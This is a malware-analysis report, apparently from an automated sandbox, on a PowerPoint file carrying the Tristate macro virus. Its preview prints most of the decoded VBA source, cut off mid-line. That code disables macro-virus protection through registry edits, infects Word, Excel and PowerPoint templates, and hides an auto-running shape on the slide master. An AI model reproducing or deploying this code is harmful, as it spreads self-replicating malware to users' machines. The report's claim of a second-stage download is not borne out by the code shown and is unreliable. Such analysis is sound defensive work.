Win.Trojan.Tristate-2 — Office (OLE) malware analysis

Static analysis result for SHA-256 b12752896a0c58d4…

MALICIOUS

Office (OLE)

17.5 KB Created: 1996-09-30 18:28:10 Authoring application: Microsoft PowerPoint First seen: 2012-06-14
MD5: 7af6209a9ee210fc1aa609918e7aa737 SHA-1: f86f923ccbeb71ab386821bea0a33768639b4501 SHA-256: b12752896a0c58d4ef547072b114372f83b21dc50eefbe8a046806db53b17908
220 Risk Score

Malware Insights

Win.Trojan.Tristate-2 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate/Decode Files or Information

The sample is a PowerPoint file containing malicious VBA macros, detected as Win.Trojan.Tristate-2. The macros utilize CreateObject and GetObject calls, and attempt to modify registry keys related to Excel startup behavior. The script's intent appears to be downloading and executing a second-stage payload, indicated by the manipulation of Excel application objects and saving a workbook to the startup path. This suggests a multi-stage infection designed for further compromise.

Heuristics 4

  • ClamAV: Win.Trojan.Tristate-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Tristate-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9180 bytes
SHA-256: cffe7e168d9bfc652bcca88a49c2a6750c923e93d86b05e86223772caabc6867
Detection
ClamAV: Doc.Trojan.Tristate-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Triplicate"
'<!--1nternal-->
'Triplicate v0.21 /1nternal
Private Sub Document_Close()
    
    Options.VirusProtection = False
    Options.ConfirmConversions = False
    Options.SaveNormalPrompt = False
    Set NT = NormalTemplate.VBProject.VBComponents(1).CodeModule
    Set TT = Templates(1).VBProject.VBComponents(1).CodeModule
    Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule
    If AD.Lines(1, 1) <> "'<!--1nternal-->" Then
        AD.DeleteLines 1, AD.CountofLines
        AD.InsertLines 1, TT.Lines(1, TT.CountofLines)
        If AD.Lines(1, 1) <> "'<!--1nternal-->" Then
            AD.InsertLines 1, NT.Lines(1, NT.CountofLines)
        End If
    End If
    If NT.Lines(1, 1) <> "'<!--1nternal-->" Then
        NT.DeleteLines 1, NT.CountofLines
        NT.InsertLines 1, AD.Lines(1, AD.CountofLines)
        Set xlApp = CreateObject("Excel.Application")
        If UCase(Dir(xlApp.Application.StartupPath + "\Book1.")) <> UCase("BOOK1") Then
            System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Excel\Microsoft Excel", "Options6") = "Check"
            System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\8.0\New User Settings\Excel\Microsoft Excel", "Options6") = ""
            System.PrivateProfileString("", "HKEY_USERS\.Default\Software\Microsoft\Office\8.0\Excel\Microsoft Excel", "Options6") = "Whoa"
            Set Book1Obj = xlApp.Workbooks.Add
            Book1Obj.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 1, NT.Lines(1, NT.CountofLines)
            Book1Obj.SaveAs xlApp.Application.StartupPath & "\Book1."
            Book1Obj.Close
        End If
        xlApp.Quit
        Set PPObj = CreateObject("PowerPoint.Application")
        Set PBT = PPObj.Presentations.Open(Application.Path + "\..\Templates\Blank Presentation.pot", , , msoFalse)
        For Each ModComponent In PBT.VBProject.VBComponents
            If ModComponent.Name = "Triplicate" Then dontadd = True
        Next
        If dontadd <> True Then
            System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\PowerPoint\Options", "MacroVirusProtection") = ""
            System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\8.0\New User Settings\PowerPoint\Options", "MacroVirusProtection") = ""
            System.PrivateProfileString("", "HKEY_USERS\.Default\Software\Microsoft\Office\8.0\PowerPoint\Options", "MacroVirusProtection") = ""
            Set NewMod = PBT.VBProject.VBComponents.Add(1)
            NewMod.Name = "Triplicate"
            NewMod.CodeModule.InsertLines 1, NT.Lines(1, NT.CountofLines)
            NewMod.CodeModule.ReplaceLine 118, "Sub actionhook(tristate)"
            Set ShapetoWack = PBT.SlideMaster.Shapes.AddShape(1, 0, 0, PBT.PageSetup.SlideWidth, PBT.PageSetup.SlideHeight)
            With ShapetoWack
                .Name = "Triplicate"
                .ZOrder (1)
                .Line.Visible = False
                .Fill.Visible = False
                .ActionSettings(1).Action = 8
                .ActionSettings(1).Run = "actionhook"
            End With
            Set NewMod = Nothing
            PBT.Save
        End If
        PBT.Close
        PPObj.Quit
    End If
    If TT.Lines(1, 1) <> "'<!--1nternal-->" Then
        TT.DeleteLines 1, TT.CountofLines
        TT.InsertLines 1, NT.Lines(1, NT.CountofLines)
    End If
End Sub
Private Sub Workbook_Deactivate()
    On Error Resume Next
    Set AW = ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
    Set TW = ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
    If UCase(Dir(Application.StartupPath + "\Book1.")) <> "BOOK1" Then
        Set WordObj = GetObject(, "Word.Application")
        If WordObj = "" Then
            Set WordObj = CreateObject("Word.Application")
            WQuit = True
        End If
        Set NT = WordObj.NormalTemplate.VBProject.VBComponents(1).CodeModule
        WordObj.Option
... (truncated)

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